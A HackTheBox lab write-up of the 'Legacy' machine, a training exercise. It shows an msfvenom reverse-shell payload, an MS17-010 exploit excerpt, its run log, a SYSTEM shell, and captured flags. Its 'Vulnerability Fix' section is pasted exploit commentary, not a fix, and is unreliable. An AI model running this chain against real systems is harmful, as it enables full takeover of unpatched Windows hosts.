HACKTHEBOX

Date: 09/01/2022

By: Wael Ghnimi

Vulnerability Exploited: **Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) (CVE-2017-0144)**

System Vulnerable: 10.10.10.4

Vulnerability Explanation: The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability." This vulnerability is different from those described in CVE-2017-0143, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.

Vulnerability Fix: For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). Only this transaction type uses this heap. Normally, no one uses this transaction type. So, transactions alignment in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback of this method is we cannot do information leak to verify transactions alignment before OOB write. So, this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.

Privilege Escalation Vulnerability: The MS17-10 allows to exploit the system as NT AUTHORITY\SYSTEM privilege. (No needs to privesc)

Vulnerability Fix: Mentioned on the MS17-10 vulnerability fix (mentioned above)

Severity: **Critical**

An initial Nmap scan revealed the microsoft-ds on port 445 and netbios-ssn on port 139.

```
# Nmap 7.92 scan initiated Sat Dec 11 22:22:18 2021 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.11s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h57m37s, deviation: 1h24m50s, median: 4d23h57m37s
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:0a:c7 (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   LEGACY<20>           Flags: <unique><active>
```

```
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2021-12-17T07:20:15+02:00

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 11 22:23:17 2021 -- 1 IP address (1 host up) scanned in 59.24 seconds
```

Check if this machine is infected by any smb vulnerabilities using smb-vuln* nmap scripts.

```
┌──(root💀kali)-[/root/HTB/windows/legacy]
└─# nmap -v -script smb-vuln* -p 139,445 10.10.10.4
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 22:32 EST
NSE: Loaded 11 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
Initiating Ping Scan at 22:32
Scanning 10.10.10.4 [4 ports]
Completed Ping Scan at 22:32, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:32
Completed Parallel DNS resolution of 1 host. at 22:32, 0.00s elapsed
Initiating SYN Stealth Scan at 22:32
Scanning 10.10.10.4 [2 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Completed SYN Stealth Scan at 22:32, 0.24s elapsed (2 total ports)
NSE: Script scanning 10.10.10.4.
Initiating NSE at 22:32
Completed NSE at 22:32, 6.11s elapsed
Nmap scan report for 10.10.10.4
Host is up (0.12s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
```

```
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false

NSE: Script Post-scanning.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```

Create a reverse shell payload and store it on eternablue.exe file

```
┌──(root💀kali)-[/root/oscp/tools/MS17-010]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.8 LPORT=9001 -f exe > eternalblue.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
```

Download the exploit script from this link:

https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py

```
… SNIP …
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8  # heap chunk header size


def calc_alloc_size(size, align_size):
        return (size + align_size - 1) & ~(align_size-1)

def wait_for_request_processed(conn):
        #time.sleep(0.05)
        # send echo is faster than sleep(0.05) when connection is very good
        conn.send_echo('a')

def find_named_pipe(conn):
        pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]

        tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
        found_pipe = None
        for pipe in pipes:
                try:
                        fid = conn.nt_create_andx(tid, pipe)
                        conn.close(tid, fid)
                        found_pipe = pipe
                        break
                except smb.SessionError as e:
                        pass

        conn.disconnect_tree(tid)
        return found_pipe


… SNIP …
```

Launch a nc listener on the local machine and using the send_and_execute.py script launch the exploit against the 10.10.10.4 on port 445

```
┌──(root💀kali)-[/root/oscp/tools/MS17-010]
└─# python send_and_execute.py 10.10.10.4 eternalblue.exe 445                    1 ×
Trying to connect to 10.10.10.4:445
Target OS: Windows 5.1
Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x820a93c0
SESSION: 0xe10c9858
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe1347840
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe13478e0
overwriting token UserAndGroups
Sending file CXT61R.exe...
Opening SVCManager on 10.10.10.4.....
Creating service GPdX.....
Starting service GPdX.....
The NETBIOS connection with the remote host timed out.
Removing service GPdX.....
ServiceExec Error on: 10.10.10.4
nca_s_proto_error
Done
```

By the end of the exploit, a reverse shell received as NT AUTHORITY\SYSTEM

```
┌──(root💀kali)-[/root/oscp/tools/MS17-010]
└─# nc -nvlp 9001                                                                1 ×
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.4] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

On this version of windows, the whoami command doesn't found, so the attacker can transfer the whoami binary from the Kali Linux machine to the exploited machine using smbserver.

Launch a smbserver on the attacker machine using python3 script.

```
┌──(root💀kali)-[/root/oscp/tools/MS17-010]
└─# python3 /usr/share/doc/python3-impacket/examples/smbserver.py tmp /usr/share/windows-binaries
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

user.txt

```
C:\Documents and Settings\john\Desktop>type user.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
type user.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
e69af0e4f443de7e36876fda4ec7644flegacy
NT AUTHORITY\SYSTEM

Windows IP Configuration

        Host Name . . . . . . . . . . . . : legacy
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-50-56-B9-0A-C7
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 10.10.10.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.10.10.2
        DNS Servers . . . . . . . . . . . : 10.10.10.2

C:\Documents and Settings\john\Desktop>
```


```
C:\Documents and Settings\john\Desktop>type user.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
type user.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
e69af0e4f443de7e36876fda4ec7644flegacy
NT AUTHORITY\SYSTEM

Windows IP Configuration

        Host Name . . . . . . . . . . . . : legacy
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-50-56-B9-0A-C7
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 10.10.10.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.10.10.2
        DNS Servers . . . . . . . . . . . : 10.10.10.2
```

root.txt

```
C:\Documents and Settings\Administrator\Desktop>type root.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig
/all
type root.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
993442d258b0e0ec917cae9e695d5713legacy
NT AUTHORITY\SYSTEM

Windows IP Configuration

        Host Name . . . . . . . . . . . . : legacy
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-50-56-B9-0A-C7
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 10.10.10.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.10.10.2
        DNS Servers . . . . . . . . . . . : 10.10.10.2

C:\Documents and Settings\Administrator\Desktop>
```


```
C:\Documents and Settings\Administrator\Desktop>type root.txt && hostname && \\10.10.16.8\tmp\whoami.exe &&
ipconfig /all
type root.txt && hostname && \\10.10.16.8\tmp\whoami.exe && ipconfig /all
993442d258b0e0ec917cae9e695d5713legacy
NT AUTHORITY\SYSTEM

Windows IP Configuration

        Host Name . . . . . . . . . . . . : legacy
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-50-56-B9-0A-C7
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 10.10.10.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.10.10.2
        DNS Servers . . . . . . . . . . . : 10.10.10.2
```

Lessons Learned
1. This was a relatively simple machine to solve. It was running a vulnerable outdated version of SMB. So far, I've solved four machine and each one of them required me to exploit a vulnerable version of some software to either gain a foothold on the machine or to escalate privileges. So it goes without saying that you should always update your systems especially when updates are released for critical vulnerabilities! If the user had installed the MS17–010 security update, I would have had to find another way to exploit this machine.